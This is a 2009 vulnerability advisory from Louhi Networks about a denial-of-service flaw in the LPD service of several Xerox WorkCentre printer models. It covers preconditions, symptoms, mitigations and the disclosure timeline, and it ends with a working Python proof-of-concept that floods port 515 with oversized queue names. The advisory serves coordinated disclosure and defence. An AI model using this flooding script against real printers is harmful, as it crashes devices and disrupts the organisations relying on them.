|
# Louhi Networks Information Security Research # Security Advisory # # # Advisory: Xerox WorkCentre multiple models Denial of Service # Release Date: 2009/08/25 # Last Modified: 2009/08/25 # Authors: Juho Ranta # [juho.ranta@louhi.fi] # Henri Lindberg, CISA # [henri.lindberg@louhi.fi] # # Application: Xerox WorkCentre # Verified: Controller+PS ROM Version 1.202.1 and 1.202.5 # Devices: Xerox WorkCentre 7132, # WC7232/7242, WC7328/7335/7345/7346 and # WC7425/28/35 # Attack type: Denial of Service # Risk: Low # Vendor Status: Patch available for WC7232/7242 # References: http://www.louhinetworks.fi/advisory/xerox_0908.txt # # http://www.cert.fi/haavoittuvuudet/2009/haavoittuvuus-2009-081.html # # http://www.support.xerox.com/go/results.asp?Xtype=download&prodID=WC7232_WC7242&Xlang=en_US&Xcntry=USA # # # Overview # # Quote from http://www.xerox.com/ # "The Xerox WorkCentre 7132 multifunction is the affordable transition # to the next level of productivity for your office. One easy-to-use # device offers powerful printing, copying, scanning, and faxing. The # WorkCentre 7132 also gives you color when you need it, for critical # documents and for added impact. Robust functions, straightforward # operation, and color within your budget . that should keep everyone # smiling and productive." # # During a brief assessment performed for Xerox WorkCentre 7132 it was # discovered that LPD daemon implementation contains a weakness # related to robustness of LPD protocol handling. Attacker can crash # the whole device with a relatively simple attack. Recovering from # the denial-of-service condition requires power cycling the device. # # Details # # Device freezes when it is flooded with LPD requests having oversized # queue name length AND other features of the device are accessed # during the attack. # # The LPD daemon terminates the connection when it receives a request # with an oversized queue name. The required minimum length for this # seems to vary. Our proof-of-concept attack sends ASCII character # blocks to the LPD daemon until connection is closed, while sending # HTTP requests to the web administration interface. # # By flooding the device with these invalid LPD requests and accessing # other features at the same time, the device can be crashed. This was # verified with two different firmware versions (1.202.1 and 1.202.5). # # It must be noted that successful denial-of-service attack requires # the steps described above. Sending requests with oversized queue # names does crash the device by itself. # # Due to the black box nature of the performed attack against a # production device, we were not able to determine the exact root # cause for the crash. According to vendor this is caused by a memory # leak, but further exploitability or memory corruption has neither # been confirmed nor denied. # # Vulnerability was detected with an LPD protocol implementation # written for Sulley Fuzzing Framework. # # # Preconditions # # *LPD daemon is enabled. # *Attacker has network access to the LPD daemon # *Attacker has network access to other features OR # *Valid user uses the device on location # # # Symptoms of successful attack # # One or more of the following: # *Control panel lights are blinking, no response to pushing buttons # *LCD panel displays error message # *LCD panel displays a halted progress bar # *Switching power off from on/off button takes more than 10 seconds # # Proof of Concept: # # Python code available at: # http://www.louhinetworks.fi/advisory/xerox/exploit.py # http://www.louhinetworks.fi/advisory/xerox/webInterface.py # # Pictures of a crashed control panel (Finnish language): # http://www.louhinetworks.fi/advisory/xerox/error1.jpg # http://www.louhinetworks.fi/advisory/xerox/freeze1.jpg # # Web interface requests are performed with a separate Python # process/script in order to achieve more reliable exploitation under # Windows. # # Mitigation: # # Preventive # *Install patch from vendor # *Configure IPS signature for LPD requests with oversized queue # names # *Allow only trusted users to access LPD daemon # *Disable LPD daemon # # Detective # *Configure IDS signature for LPD requests with oversized queue # names # # Disclosure Timeline (selected dates): # # X 2008 - Vulnerability discovered # 3. September 2008 - Contacted CERT-FI by email describing the # issue with Xerox WC 7132 # 20. November 2008 - CERT-FI confirms vendor has been notified # 21. January 2009 - Vendor is unable to reproduce the issue, # but continues trying # 22. January 2009 - Vulnerability reproduced, vendor investigates # other devices. Apologizes slow response. # 17. June 2009 - Vendor has identified vulnerable devices, # patch due in July. # 20. August 2009 - Patch available for download (only # WC7232/7242) # 25. August 2009 - Advisory released # # A Big Thank You to CERT-FI's Vulnerability Coordination for persistent # coordination effort. # # Copyright 2009 Louhi Networks Oy. All rights reserved. No warranties, # no liabilities, information provided 'as is' for educational purposes. # Reproduction allowed as long as credit is given. Information wants to # be free.
import socket import sys import os import httplib import signal
if len(sys.argv) < 2: print("Usage: python exploit.py printerIpAddress") print("After the script is started, execute the webInterface.py script") sys.exit(0)
ipAddress = sys.argv[1]
i = 0
while True: i += 1 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ipAddress, 515))
except: # If the connection fails, printer has crashed print("Unable to connect") sys.exit(0)
# Send receive a printer job -command. Queue name will be as long as # possible. The printer will disconnect when the queue name has reached it's # maximum length s.send("\x02") j = 0 while True: j += 1 s.send("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") print(str(i) + "." + str(j)) s.close()
print(i)
|